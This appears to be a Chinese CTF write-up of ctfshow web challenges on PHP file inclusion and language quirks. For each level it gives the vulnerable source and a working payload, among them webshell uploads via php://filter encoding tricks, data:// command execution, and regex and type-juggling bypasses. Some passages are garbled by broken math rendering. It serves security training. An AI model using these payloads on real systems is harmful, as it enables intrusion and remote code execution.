?file=%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%33%31%25%32%45%25%37%30%25%36%38%25%37%30
-
这里content就写🐎,然后base64decode,不过要注意,题目的那句waf也会被解码,因为base64是每8位解码的,而waf中base64中的字符有6个,所以要把🐎base64加密后前面加两个字母,同时,这次是@eval,不然会因为前面的不规则字符导致执行失败,然后最后payload就是
content=hhPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==
-
然后访问1.php,POST传参就可以读flag了
web 88
-
if(isset($_GET['file'])){ $file = $_GET['file']; if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){ die("error"); } include($file); }else{ highlight_file(__FILE__); }
-
这题没有过滤:,所以用data协议
-
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOyA/Pg
-
先ls看目录
-
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTsgPz4
-
然后 tac fl0g.php
web116
-
进来就是一段视频的播放,也无法查看源代码,把js关了也没法看
-
然后用burp抓包,发送之后啥也没返回
-
试试传入一个file,因为之前都是file,
?file=index.php
-
然后burp返回了这个源码,过滤了好多,但是可以直接读flag.php
-
<?php error_reporting(0); function filter($x){ if(preg_match('/http|https|data|input|rot13|base64|string|log|sess/i',$x)){ die('too young too simple sometimes naive!'); } } $file=isset($_GET['file'])?$_GET['file']:"5.mp4"; filter($file); header('Content-Type: video/mp4'); header("Content-Length: $file"); readfile($file); ?>
-
<?php $flag="ctfshow{1994d609-7adb-4554-9ca9-dfa20332d4ba}"; ?>
-
群主视频,黑屏了,黑屏了,也不知道咋做
-
百度上搜的大佬的wp,好像是把视频下载,然后放010里拿到图片,里面有源码,可惜不会MISC,只能碰巧
web117
-
highlight_file(__FILE__); error_reporting(0); function filter($x){ if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){ die('too young too simple sometimes naive!'); } } $file=$_GET['file']; $contents=$_POST['contents']; filter($file); file_put_contents($file, "<?php die();?>".$contents);
-
跟87很像,不过是过滤了base64,换种paload就好
-
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=1.php
-
POST: contents=?<hp pvela$(P_SO[T]1;)>?
-
这种是每两位翻转一下比如POST就变成了OPTS
PHP特性
web89
-
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)){ echo $flag; } }
-
数组绕过
-
payload
?num[]=
web90
-
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; }else{ echo intval($num,0); } }
-
吃瓜杯签到就是这个基础上加了第一位不能是0,这个直接进制绕过就行,intval($num,0),0的话是自适应转化进制的,八进制以0开头,所以
?num=010574
就可以绕过
web91
-
show_source(__FILE__); include('flag.php'); $a=$_GET['cmd']; if(preg_match('/^php$/im', $a)){ if(preg_match('/^php$/i', $a)){ echo 'hacker'; } else{ echo $flag; } } else{ echo 'nonononono'; }
-
/i表示匹配大小写
字符 ^ 和 $ 同时使用时,表示精确匹配,需要匹配以php开头和以php结尾
/m 多行匹配 若存在换行\n并且有开始^或结束 符 的 情 况 下 , 将 以 换 行 为 分 隔 符 , 逐 行 进 行 匹 配 但 是 当 出 现 换 行 符 ‘ 符的情况下,将以换行为分隔符,逐行进行匹配 但是当出现换行符 `%0a`的时候, 符的情况下,将以换行为分隔符,逐行进行匹配但是当出现换行符‘cmd的值会被当做两行处理,而此时第二个if正则匹配不符合以php开头和以php结尾 -
payload如下
-
?cmd=%0aphp ?cmd=php%0a%0a
web92
-
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(intval($num,0)==4476){ echo $flag; }else{ echo intval($num,0); } }
-
变成弱==了,可以用字符绕过,也还是可以用进制绕过就可以进制绕过了
?num=010574
web93
-
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(intval($num,0)==4476){ echo $flag; }else{ echo intval($num,0); } }
-
过滤了字母,16进制被ban,那么八进制还是可以用,继续上题的payload
web94
-
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(!strpos($num, "0")){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; }
-
0不能在首位,所以还是八进制,然后在前面第一个位置加一个空格就好,或者小数绕过
web95
-
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]|\./i", $num)){ die("no no no!!"); } if(!strpos($num, "0")){ die("no no no!!!"); } if(intval($num,0)===4476){ echo $flag; } }
-
过滤了小数点,还是空格加八进制绕过
web96
-
highlight_file(__FILE__); if(isset($_GET['u'])){ if($_GET['u']=='flag.php'){ die("no no no"); }else{ highlight_file($_GET['u']); } }
-
换题了,flag应该在当前目录的flag.php,直接./就可以绕过加读取了
web97
-
include("flag.php"); highlight_file(__FILE__); if (isset($_POST['a']) and isset($_POST['b'])) { if ($_POST['a'] != $_POST['b']) if (md5($_POST['a']) === md5($_POST['b'])) echo $flag; else print 'Wrong.'; }
-
经典md5绕过,又要相等又要不等,直接数组绕过
-
a[]=1&b[]=2
web98
-
include("flag.php"); $_GET?$_GET=&$_POST:'flag'; $_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag'; $_GET['flag']=='flag'?$_GET=&$_SERVER:'flag'; highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
-
这个考三目运算符,第一行意思就是有get参数传进来就把post传值的地址给get,否则就是flag,然后最后一行就是如果get的http_flag参数是flag就把flag作为参数传给highlight_file
-
那么这题就很简单了,只需要get随便传个值,然后post传HTTP_FLAG=flag就可
web99
-
highlight_file(__FILE__); $allow = array(); for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i)); } if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ file_put_contents($_GET['n'], $_POST['content']); }
-
开始就是产生随机数,存入一个数组里
-
然后检验get传入的值是不是在数组里,这里有一个弱类型的比较,只需要传入的参数是以满足要求的数字开头的都可以。比如1.php,1.php在与数字比较时会自动变成1进行比较,如果不行的话换个数再试试
-
然后就是把post的内容写入get传来的参数命名的文件里
-
payload就是
?n=1.php
,同时post传入content=<?php eval($_POST["a"]);?>
,然后访问1.php,接着post传参读flag,a=system("ls");``a=system("tac flag36d.php")
web100
-
highlight_file(__FILE__); include("ctfshow.php"); //flag in class ctfshow; $ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){ if(!preg_match("/\;/", $v2)){ if(preg_match("/\;/", $v3)){ eval("$v2('ctfshow')$v3"); } }
-
is_numeric() 函数用于检测变量是否为数字或数字字符串
如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE -
判断的条件是if( v 0 ) , 而 v o 的 初 始 化 为 ‘ v0),而vo的初始化为` v0),而vo的初始化为‘v0=is_numeric( v 1 ) a n d i s n u m e r i c ( v1) and is_numeric( v1)andisnumeric(v2) and is_numeric(KaTeX parse error: Expected 'EOF', got '&' at position 17: …3);`,php中运算优先级为&̲& > = > and,也就是…v1)有关,那么只需要v1传入数字即可,v2传入命令,v3需要含有;
-
最后payload为?v1=21&v2=
var_dump($ctfshow)*/\*&v3=\*/**;*
-
利用内联注释可以把(‘ctfshow’)注释掉
web101
-
highlight_file(__FILE__); include("ctfshow.php"); //flag in class ctfshow; $ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){ eval("$v2('ctfshow')$v3"); } } }
-
相比上题过滤掉了很多东西
-
这个需要用到php的反射类
-
PHP Reflection API是PHP5才有的新功能,它是用来导出或提取出关于类、方法、属性、参数等的详细信息,包括注释。
$class = new ReflectionClass(‘ctfshow’); // 建立 Person这个类的反射类
$instance = c l a s s − > n e w I n s t a n c e A r g s ( class->newInstanceArgs( class−>newInstanceArgs(args); // 相当于实例化ctfshow类 -
payload为
?v1=1&v2=echo new ReflectionClass&v3=;
web102
-
highlight_file(__FILE__); $v1 = $_POST['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; $v4 = is_numeric($v2) and is_numeric($v3); if($v4){ $s = substr($v2,2); $str = call_user_func($v1,$s); echo $str; file_put_contents($v3,$str); } else{ die('hacker'); }
-
post传v1,get传v2v3,v2需要是数字
-
is_numeric() 函数用于检测变量是否为数字或数字字符串,如果指定的变量是数字和数字字符串则返回true,否则返回false。如果字符串中含有一个e代表科学计数法,也可返回true
call_user_func() 函数用于调用方法或者变量,第一个参数是被调用的函数,第二个是调用的函数的参数
file_put_contents() 函数应该都熟悉了,写入内容到文件中,第一个参数是文件名,第二个参数是内容
-
也就是说,v1传入的函数名字,以v2的第二位以后的内容作为参数,返回结果写入v3中
-
payload
GET v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64- decode/resource=2.php POST v1=hex2bin
-
先把命令base64 encode,然后再转化为数字,最后在数字前面随便加两位
web103
-
highlight_file(__FILE__); $v1 = $_POST['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; $v4 = is_numeric($v2) and is_numeric($v3); if($v4){ $s = substr($v2,2); $str = call_user_func($v1,$s); echo $str; if(!preg_match("/.*p.*h.*p.*/i",$str)){ file_put_contents($v3,$str); } else{ die('Sorry'); } } else{ die('hacker'); }
-
相比上题,命令中不能含php,但是不影响用*绕过
-
payload
GET v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64- decode/resource=2.php POST v1=hex2bin
web104
-
highlight_file(__FILE__); include("flag.php"); if(isset($_POST['v1']) && isset($_GET['v2'])){ $v1 = $_POST['v1']; $v2 = $_GET['v2']; if(sha1($v1)==sha1($v2)){ echo $flag; } }
-
啊这,应该想考的是不能处理数组会返回null,这时候可以绕过,但是题目也没说v1v2不能相等啊
-
直接v1=1 v2=1
-
拿到了flag
web105
-
highlight_file(__FILE__); include('flag.php'); error_reporting(0); $error='你还想要flag嘛?'; $suces='既然你想要那给你吧!'; foreach($_GET as $key => $value){ if($key==='error'){ die("what are you doing?!"); } $$key=$$value; }foreach($_POST as $key => $value){ if($value==='flag'){ die("what are you doing?!"); } $$key=$$value; } if(!($_POST['flag']==$flag)){ die($error); } echo "your are good".$flag."\n"; die($suces); ?>
-
这题的核心在于
$$key=$$value
,比如传入一个参数,a=flag
,那么在第一个for循环里,就会变成$a=$flag
,a的值就会变成flag,剩下的问题就是输出,可以看到有四个die,第一个是如果get传入的参数值为error就会退出,第二个是post传入的值为flag会退出,那么需要通过die来输出,也就是说要把error或者suces的值变成flag然后就可以输出出来,那么通过第一个for循环,我们把 a 的 值 变 成 了 f l a g 的 值 , 那 么 通 过 第 二 个 f o r 循 环 可 以 把 e r r o r 的 值 或 者 s u c e s 的 值 指 向 a的值变成了flag的值,那么通过第二个for循环可以把error的值或者suces的值指向 a的值变成了flag的值,那么通过第二个for循环可以把error的值或者suces的值指向a,那就可以post传值error=a
或者suces=a
,看后面的判断,如果post传入的flag参数值与 f l a g 不 相 等 , 就 会 d i e ( e r r o r ) , 那 么 我 们 可 以 p o s t 传 值 e r r o r = a , 那 么 就 会 执 行 d i e ( flag不相等,就会die(error),那么我们可以post传值error=a,那么就会执行die( flag不相等,就会die(error),那么我们可以post传值error=a,那么就会执行die(error),$error的值是flag,这样可以拿到flag -
第二个方法就是利用die( s u c e s ) 输 出 , 那 么 需 要 p o s t 传 入 的 f l a g 的 值 与 suces)输出,那么需要post传入的flag的值与 suces)输出,那么需要post传入的flag的值与flag相等,首先我们不知道flag的值,不能直接传入flag的值,再说了知道flag了还困在这干嘛直接交了,那么还有一种方法就是把KaTeX parse error: Expected 'EOF', got '&' at position 39: …t传参`?suces=flag&̲flag=`,这样会先把fla…suces)输出了
web106
-
highlight_file(__FILE__); include("flag.php"); if(isset($_POST['v1']) && isset($_GET['v2'])){ $v1 = $_POST['v1']; $v2 = $_GET['v2']; if(sha1($v1)==sha1($v2) && $v1!=$v2){ echo $flag; } }
-
这个是数组绕过了
-
payload
GET v2[]=1 POST v1[]=2
web107
-
highlight_file(__FILE__); error_reporting(0); include("flag.php"); if(isset($_POST['v1'])){ $v1 = $_POST['v1']; $v3 = $_GET['v3']; parse_str($v1,$v2); if($v2['flag']==md5($v3)){ echo $flag; } }
-
parse_str() 定义和用法
parse_str() 函数把查询字符串解析到变量中。
**注释:**如果未设置 array 参数,则由该函数设置的变量将覆盖已存在的同名变量。
**注释:**php.ini 文件中的 magic_quotes_gpc 设置影响该函数的输出。如果已启用,那么在 parse_str() 解析之前,变量会被 addslashes() 转换。
语法
parse_str(string,array)
参数 描述 string 必需。规定要解析的字符串。 array 可选。规定存储变量的数组的名称。该参数指示变量将被存储到数组中。 -
payload
GET ?v3=heihei POST v1=flag=0ada0f86099479922efa4ae341df9bbd
web 108
-
highlight_file(__FILE__); error_reporting(0); include("flag.php"); if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) { die('error'); } //只有36d的人才能看到flag if(intval(strrev($_GET['c']))==0x36d){ echo $flag; }
-
ereg() 函数搜索由指定的字符串作为由模式指定的字符串,如果发现模式则返回true,否则返回false。搜索对于字母字符是区分大小写的
strrev() 函数反转字符串。
intval() 函数用于获取变量的整数值
-
ereg函数可以用%00截断,36d的十进制是877
-
所以构造payload
?c=a%00778
web 109
-
highlight_file(__FILE__); error_reporting(0); if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){ eval("echo new $v1($v2());"); } }
-
Exception 处理用于在指定的错误发生时改变脚本的正常流程,是php内置的异常处理类
ReflectionClass 或者 ReflectionMethod 都为常用的反射类,可以理解为一个类的映射
-
payload为
?v1=Exception&v2=system('ls')``?v1=Exception&v2=system('tac fl36dg.txt')
,其中exception可以换成上面另外两个
web110
-
highlight_file(__FILE__); error_reporting(0); if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){ die("error v1"); } if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){ die("error v2"); } eval("echo new $v1($v2());"); }
-
过滤了好多好多好多
-
新建FilesystemIterator,使用getcwd()来显示当前目录下的文件结构
-
payload
?v1=FilesystemIterator&v2=getcwd
web 111
-
highlight_file(__FILE__); error_reporting(0); include("flag.php"); function getFlag(&$v1,&$v2){ eval("$$v1 = &$$v2;"); var_dump($$v1); } if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){ die("error v1"); } if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){ die("error v2"); } if(preg_match('/ctfshow/', $v1)){ getFlag($v1,$v2); } }
-
$GLOBALS — 引用全局作用域中可用的全部变量 一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
-
还是变量覆盖,v1必须是ctfshow,v2可以赋值为GLOBALS,进而将v1覆盖为$GLOBALS
web112
-
highlight_file(__FILE__); error_reporting(0); function filter($file){ if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){ die("hacker!"); }else{ return $file; } } $file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; }
-
is_file() 函数检查指定的文件名是否是正常的文件
-
过滤了一些东西,并且传入的参数不能是文件
-
所以payload为
?file=php://filter/resource=flag.php
web 113
-
highlight_file(__FILE__); error_reporting(0); function filter($file){ if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){ die('hacker!'); }else{ return $file; } } $file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; }
-
用另外的协议
-
?file=compress.zlib://flag.php
-
或者用目录溢出,
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
好像是软连接建立很多次就可以绕过is_file
web114
-
highlight_file(__FILE__); function filter($file){ if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){ die('hacker!'); }else{ return $file; } } $file=$_GET['file']; echo "师傅们居然tql都是非预期 哼!"; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; }
-
file=php://filter/resource=flag.php
web115
-
include('flag.php'); highlight_file(__FILE__); error_reporting(0); function filter($num){ $num=str_replace("0x","1",$num); $num=str_replace("0","1",$num); $num=str_replace(".","1",$num); $num=str_replace("e","1",$num); $num=str_replace("+","1",$num); return $num; } $num=$_GET['num']; if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){ if($num=='36'){ echo $flag; }else{ echo "hacker!!"; } }else{ echo "hacker!!!"; }
-
这里用了is_numeric来判断是不是数字,并且if条件里规定trim($num)移除字符串两侧的字符不能等于36,但后面的if需要等于36才能输出flag
-
可以用换页符绕过(%0c)
-
payload
?num=%0c36
web123
-
error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; } } }
-
在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有
空格、+、[
则会被转化为_
,所以按理来说我们构造不出CTF_SHOW.COM
这个变量(因为含有.
),但php中有个特性就是如果传入[
,它被转化为_
之后,后面的字符就会被保留下来不会被替换 -
payload
POST CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag
web125
-
error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; } } }
-
ban了echo、flag
-
payload
GET a=flag.php``POST CTF_SHOW=1&CTF[SHOW.COM=1&fun=highlight_file($_GET[a])
web126
-
error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; } } }
-
$_SERVER
Server and execution environment information
$_SERVER – Server and execution environment information — 服务器和执行环境信息
说明
$_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。这个数组中的项目由 Web 服务器创建。不能保证每个服务器都提供全部项目;服务器可能会忽略一些,或者提供一些没有在这里列举出来的项目。这也就意味着大量的此类变量都会在» CGI 1.1 规范中说明,所以应该仔细研究一下。
目录
在 $_SERVER 中,你也许能够,也许不能够找到下面的这些元素。注意,如果以命令行方式运行 PHP,下面列出的元素几乎没有有效的(或是没有任何实际意义的)。
-
‘PHP_SELF’
当前执行脚本的文件名,与 document root 有关。例如,在地址为 http://example.com/foo/bar.php 的脚本中使用 $_SERVER[‘PHP_SELF’] 将得到 /foo/bar.php。FILE 常量包含当前(例如包含)文件的完整路径和文件名。 如果 PHP 以命令行模式运行,这个变量将包含脚本名。
-
‘argv’
传递给该脚本的参数的数组。当脚本以命令行方式运行时,argv 变量传递给程序 C 语言样式的命令行参数。当通过 GET 方式调用时,该变量包含query string。
-
‘argc’
包含命令行模式下传递给该脚本的参数的数目(如果运行在命令行模式下)。
-
‘GATEWAY_INTERFACE’
服务器使用的 CGI 规范的版本;例如,“
CGI/1.1
”。 -
‘SERVER_ADDR’
当前运行脚本所在的服务器的 IP 地址。
-
‘SERVER_NAME’
当前运行脚本所在的服务器的主机名。如果脚本运行于虚拟主机中,该名称是由那个虚拟主机所设置的值决定。注意: 在 Apache 2 里,必须设置
UseCanonicalName = On
和ServerName
。 否则该值会由客户端提供,就有可能被伪造。 上下文有安全性要求的环境里,不应该依赖此值。 -
‘SERVER_SOFTWARE’
服务器标识字符串,在响应请求时的头信息中给出。
-
‘SERVER_PROTOCOL’
请求页面时通信协议的名称和版本。例如,“HTTP/1.0”。
-
‘REQUEST_METHOD’
访问页面使用的请求方法;例如,“
GET
”, “HEAD
”,“POST
”,“PUT
”。注意:如果请求方法为HEAD
,PHP 脚本将在发送 Header 头信息之后终止(这意味着在产生任何输出后,不再有输出缓冲)。 -
‘REQUEST_TIME’
请求开始时的时间戳。
-
‘REQUEST_TIME_FLOAT’
请求开始时的时间戳,微秒级别的精准度。
-
‘QUERY_STRING’
query string(查询字符串),如果有的话,通过它进行页面访问。
-
‘DOCUMENT_ROOT’
当前运行脚本所在的文档根目录。在服务器配置文件中定义。
-
‘HTTP_ACCEPT’
当前请求头中
Accept:
项的内容,如果存在的话。 -
‘HTTP_ACCEPT_CHARSET’
当前请求头中
Accept-Charset:
项的内容,如果存在的话。例如:“iso-8859-1,*,utf-8
”。 -
‘HTTP_ACCEPT_ENCODING’
当前请求头中
Accept-Encoding:
项的内容,如果存在的话。例如:“gzip
”。 -
‘HTTP_ACCEPT_LANGUAGE’
当前请求头中
Accept-Language:
项的内容,如果存在的话。例如:“en
”。 -
‘HTTP_CONNECTION’
当前请求头中
Connection:
项的内容,如果存在的话。例如:“Keep-Alive
”。 -
‘HTTP_HOST’
当前请求头中
Host:
项的内容,如果存在的话。 -
‘HTTP_REFERER’
引导用户代理到当前页的前一页的地址(如果存在)。由 user agent 设置决定。并不是所有的用户代理都会设置该项,有的还提供了修改 HTTP_REFERER 的功能。简言之,该值并不可信。
-
‘HTTP_USER_AGENT’
当前请求头中
User-Agent:
项的内容,如果存在的话。该字符串表明了访问该页面的用户代理的信息。一个典型的例子是:Mozilla/4.5 [en] (X11; U; Linux 2.2.9 i586)。除此之外,你可以通过 get_browser() 来使用该值,从而定制页面输出以便适应用户代理的性能。 -
‘HTTPS’
如果脚本是通过 HTTPS 协议被访问,则被设为一个非空的值。
-
‘REMOTE_ADDR’
浏览当前页面的用户的 IP 地址。
-
‘REMOTE_HOST’
浏览当前页面的用户的主机名。DNS 反向解析不依赖于用户的 REMOTE_ADDR。注意: 你的服务器必须被配置以便产生这个变量。例如在 Apache 中,你需要在 httpd.conf 中设置
HostnameLookups On
来产生它。参见 gethostbyaddr()。 -
‘REMOTE_PORT’
用户机器上连接到 Web 服务器所使用的端口号。
-
‘REMOTE_USER’
经验证的用户
-
‘REDIRECT_REMOTE_USER’
验证的用户,如果请求已在内部重定向。
-
‘SCRIPT_FILENAME’
当前执行脚本的绝对路径。注意:如果在命令行界面(Command Line Interface, CLI)使用相对路径执行脚本,例如 file.php 或 …/file.php,那么 $_SERVER[‘SCRIPT_FILENAME’] 将包含用户指定的相对路径。
-
‘SERVER_ADMIN’
该值指明了 Apache 服务器配置文件中的 SERVER_ADMIN 参数。如果脚本运行在一个虚拟主机上,则该值是那个虚拟主机的值。
-
‘SERVER_PORT’
Web 服务器使用的端口。默认值为 “
80
”。如果使用 SSL 安全连接,则这个值为用户设置的 HTTP 端口。注意: 在 Apache 2 里,为了获取真实物理端口,必须设置UseCanonicalName = On
以及UseCanonicalPhysicalPort = On
。 否则此值可能被伪造,不一定会返回真实端口值。 上下文有安全性要求的环境里,不应该依赖此值。 -
‘SERVER_SIGNATURE’
包含了服务器版本和虚拟主机名的字符串。
-
‘PATH_TRANSLATED’
当前脚本所在文件系统(非文档根目录)的基本路径。这是在服务器进行虚拟到真实路径的映像后的结果。注意: Apache 2 用户可以在 httpd.conf 中设置
AcceptPathInfo = On
来定义 PATH_INFO。 -
‘SCRIPT_NAME’
包含当前脚本的路径。这在页面需要指向自己时非常有用。FILE 常量包含当前脚本(例如包含文件)的完整路径和文件名。
-
‘REQUEST_URI’
URI 用来指定要访问的页面。例如 “
/index.html
”。 -
‘PHP_AUTH_DIGEST’
当作为 Apache 模块运行时,进行 HTTP Digest 认证的过程中,此变量被设置成客户端发送的“Authorization” HTTP 头内容(以便作进一步的认证操作)。
-
‘PHP_AUTH_USER’
当 PHP 运行在 Apache 或 IIS(PHP 5 是 ISAPI)模块方式下,并且正在使用 HTTP 认证功能,这个变量便是用户输入的用户名。
-
‘PHP_AUTH_PW’
当 PHP 运行在 Apache 或 IIS(PHP 5 是 ISAPI)模块方式下,并且正在使用 HTTP 认证功能,这个变量便是用户输入的密码。
-
‘AUTH_TYPE’
当 PHP 运行在 Apache 模块方式下,并且正在使用 HTTP 认证功能,这个变量便是认证的类型。
-
‘PATH_INFO’
包含由客户端提供的、跟在真实脚本名称之后并且在查询语句(query string)之前的路径信息,如果存在的话。例如,如果当前脚本是通过 URL http://www.example.com/php/path_info.php/some/stuff?foo=bar 被访问,那么 $_SERVER[‘PATH_INFO’] 将包含
/some/stuff
。 -
‘ORIG_PATH_INFO’
在被 PHP 处理之前,“PATH_INFO” 的原始版本。
范例
示例 #1 $_SERVER 范例
<?phpecho $_SERVER['SERVER_NAME'];?>
以上例程的输出类似于:
www.example.com
注释
注意:
“Superglobal”也称为自动化的全局变量。这就表示其在脚本的所有作用域中都是可用的。不需要在函数或方法中用 global $variable; 来访问它。
-
-
payload
GET ?$fl0g=flag_give_me; POST CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])
-
a [ 0 ] = a[0]= a[0]=fl0g=flag_give_me
web 127
-
error_reporting(0); include("flag.php"); highlight_file(__FILE__); $ctf_show = md5($flag); $url = $_SERVER['QUERY_STRING']; //特殊字符检测 function waf($url){ if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){ return true; }else{ return false; } } if(waf($url)){ die("嗯哼?"); }else{ extract($_GET); } if($ctf_show==='ilove36d'){ echo $flag; }
-
extract() 函数从数组中将变量导入到当前的符号表,使用数组键名作为变量名,使用数组键值作为变量值,举例就是
?a=2
,就会变成$a=2
-
payload
?ctf show=ilove36d
web128
-
error_reporting(0); include("flag.php"); highlight_file(__FILE__); $f1 = $_GET['f1']; $f2 = $_GET['f2']; if(check($f1)){ var_dump(call_user_func(call_user_func($f1,$f2))); }else{ echo "嗯哼?"; } function check($str){ return !preg_match('/[0-9]|[a-z]/i', $str); }
-
这里对
$f1
进行了正则过滤,不能为数字和字母,这里可以使用gettext拓展,开启此拓展_() 等效于 gettext()
因此call_user_func('_','ctfshownb')
返回的结果为ctfshownb -
get_defined_vars ( void ) : array 函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
-
payload
?f1=_&f2=get_defined_vars
web129
-
